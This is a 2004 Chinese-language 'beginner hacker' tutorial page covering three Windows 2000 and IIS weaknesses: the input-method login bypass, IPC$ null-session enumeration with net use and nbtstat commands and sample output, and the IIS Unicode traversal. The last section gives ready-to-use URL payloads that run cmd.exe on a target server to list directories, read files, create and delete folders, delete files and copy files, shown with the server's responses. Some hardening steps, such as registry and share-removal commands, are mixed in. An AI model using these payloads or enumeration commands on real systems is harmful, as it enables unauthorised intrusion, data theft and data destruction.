学院栏目导航: 业界新闻 网页设计 程序设计 数据库类 网络技术 操作系统 图形图像 办公软件 考试认证 多媒体类 硬件资讯

您的位置:首页-> 资讯中心-> 网络技术-> 黑客天空-> 黑客入门级菜鸟必修教程

→ 黑客天空

  服务器
网络安全
黑客天空
病毒快报
局域网
网络其他
搜索引擎

广告专栏


本类阅读TOP10
·黑客常用命令之telnet命令
·黑客入门级菜鸟必修教程
·经典黑客软件大奉送
·黑客:SQL服务器入侵实战演习
·黑客帝国数字流特效制作揭密
·黑客入侵所需要的几个常用命令
·底层:Windows黑客编程基础
·通用手工查杀木马的方法
·黑客工具轻易窥视QQ聊天记录
·黑客知识之木马攻击教程

黑客入门级菜鸟必修教程

来源:海豚学院 发表时间:2004-6-22 【ovo.com.cn

 输入法漏洞

  这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动Windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了Windows2000的用户登录验证机制,并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我们进入系统后,还可以利用Terminal Server远程通信这个漏洞对系统进行攻击。默认的Windows2000系统自带的输入法中有这个漏洞的是:智能ABC,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。

  1、把不需要的输入法删除掉,例如郑码等。

  2、但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是:

  ※ WINIME.CHM 输入法操作指南

  ※ WINSP.CHM 双拼输入法帮助

  ※ WINZM.CHM 郑码输入法帮助

  ※ WINPY.CHM 全拼输入法帮助

  ※ WINGB.CHM 内码输入法帮助

  3、强烈建议用户打SP3补丁。
  NetBIOS的信息泄漏

  IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息:

  net use \\server\IPC$ "" /user:"" //此命令用来建立一个空会话

  net view \\server //此命令用来查看远程服务器的共享资源

  服务器名称      注释

  -------------------------------------------------------

  \\pc1

  \\pc2

  命令成功完成。

  net time \\server //此命令用来得到一个远程服务器的当前时间。

  nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表

  NetBIOS Remote Machine Name Table

  Name Type Status

  ---------------------------------------------

  NULL <00> UNIQUE Registered

  NULL <20> UNIQUE Registered

  INTERNET <00> GROUP Registered

  XIXI <03> UNIQUE Registered

  INet~Services <1C> GROUP Registered

  IS~NULL...... <00> UNIQUE Registered

  INTERNET <1E> GROUP Registered

  ADMINISTATOR <03> UNIQUE Registered

  INTERNET <1D> UNIQUE Registered

  ..__MSBROWSE__.<01> GROUP Registered

  MAC Address = 00-54-4F-34-D8-80

  看到了吗?上面出现了两个<03>,这里就看到了对方所有的用户名。

  对应的修改方法:

  HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA

  Value Name: RestrictAnonymous

  Data Type: REG_DWORD

  Value: 1

  如果你不需要这个服务的话,你可以使用以下命令来删除:

  net share ipc$ /del /这条命令是用来删除空会话

  net share admin$ /del /这条命令就删除了管理共享
  UNICODE编码漏洞简单利用的命令

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  看到的目录是空的:(例如)

  Directory of C:\inetpub\scripts

  2000-09-28 15:49 〈DIR〉 .

  2000-09-28 15:49 〈DIR〉 ..

  如果我们这样输入的话:

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

  就可以看到该主机c:盘的目录和文件了。

  其他的一些简单的用法:

  1、显示文件内容

  如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的)

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt

  那么该文件的内容就可以通过IE显示出来。

  2、建立文件夹的命令

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy

  运行后我们可以看到返回这样的结果:

  CGI Error

  The specified CGI application misbehaved by not

  returning a complete

  set of HTTP headers. The headers it did return are:

  英文意思是

  CGI错误

  具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:

  3、删除空的文件夹命令:

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy

  返回信息同上

  4、删除文件的命令:

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt

  返回信息同上

  5、copy文件且改名的命令:

  http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt

  bad.txt

  返回信息:

  CGI Error

  The specified CGI application misbehaved by not

  returning a complete

  set of HTTP headers. The headers it did return are:

  1 file(s) copied.


※相关文章:

※相关软件: